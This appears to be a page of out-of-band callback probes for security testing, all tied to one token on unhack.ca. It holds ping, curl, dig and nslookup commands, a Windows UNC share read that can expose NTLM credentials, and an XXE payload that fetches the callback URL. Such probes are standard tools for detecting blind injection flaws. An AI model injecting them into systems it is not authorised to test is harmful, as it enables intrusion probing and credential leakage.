$ ping -c1 -p 00dd84f2c86cb757320ce56d690c9a00 unhack.ca
 

$ curl http://unhack.ca/p/dd84f2c86cb757320ce56d690c9a
 

$ dig dd84f2c86cb757320ce56d690c9a @unhack.ca
 

$ dig dd84f2c86cb757320ce56d690c9a.ns.unhack.ca
 

C:\> nslookup dd84f2c86cb757320ce56d690c9a unhack.ca
 

C:\> type \\unhack.ca\dd84f2c86cb757320ce56d690c9a\f.txt
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/dd84f2c86cb757320ce56d690c9a">]>
    <foo>&xxe;</foo>